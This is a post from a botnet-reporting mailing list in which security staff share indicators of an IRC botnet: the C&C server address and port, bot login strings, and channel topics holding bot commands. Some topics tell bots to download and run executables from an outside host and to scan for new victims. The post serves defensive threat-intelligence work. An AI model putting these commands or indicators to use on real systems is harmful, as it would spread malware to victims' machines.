To report a botnet PRIVATELY please email: [EMAIL PROTECTED] ---------- I was able to join from one of my servers, others I wasn't
when you join test, the topic is 21:32:33 -!- Topic for #test: .raw join #s1,#s2,#s3,#s4 -s 21:32:46 -!- Topic for #s1: .download http://d0wn.info/mat.exe c:\mc-110-12-0000125.exe 1 -s 21:32:46 -!- Topic for #s2: .download http://d0wn.info/dr.exe c:\drsmartload225a.exe 1 -s 21:32:46 -!- Topic for #s3: .download http://d0wn.info/mm.exe c:\mmxmtf8exe.exe 1 -s 21:32:46 -!- Topic for #s4: .scanall -s other info: 21:35:36 -!- There are 1 users and 1 invisible on 1 servers 21:35:36 -!- 1 unknown connection(s) 21:35:36 -!- 1 channels formed 21:35:36 -!- I have 1 clients and 1 servers 21:35:36 -!- Current Local Users: 1 Max: 2 21:35:36 -!- Current Global Users: 1 Max: 2 21:35:40 -!- Private Server Used For Research and Study . irc.test33.net FinWXOoE [*=2303] 21:35:40 -!- MAP KNOCK SAFELIST HCN MAXCHANNELS=10 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=20 AWAYLEN=307 are supported by this server 21:35:40 -!- WALLCHOPS WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSMT NETWORK=Security-and-Research CASEMAPPING=ascii EXTBAN=~,cqr are supported by this server /list /who /help and /whois don't work ------------------------------------------------------------- I'm downloading the binaries now and am hoping that someone in #shadowserver will put them through the usual tests and post the results as I'm about to go to bed, work calls early :( Kyle Jon Macfarlane wrote: > To report a botnet PRIVATELY please email: [EMAIL PROTECTED] > ---------- > 207.155.70.204 port 7000 > > I don't have the executable, all I have is the following commands, > picked up by my IDS. > > NICK GBR|56822172 > USER riussgkva 0 0 :GBR|56822172 > JOIN #test shot > join #s1,#s2,#s3,#s4 -s > > I can connect to the server but can't seem to join a channel so I have > no idea how many bots it has. Maybe someone who has a better idea about > these things can check this out. > > Thanks > > Jon Macfarlane > Network & Systems Security Officer > Kings College London > _______________________________________________ To report a botnet PRIVATELY please email: [EMAIL PROTECTED] All list and server information are public and available to law enforcement upon request. http://www.whitestar.linuxbox.org/mailman/listinfo/botnets
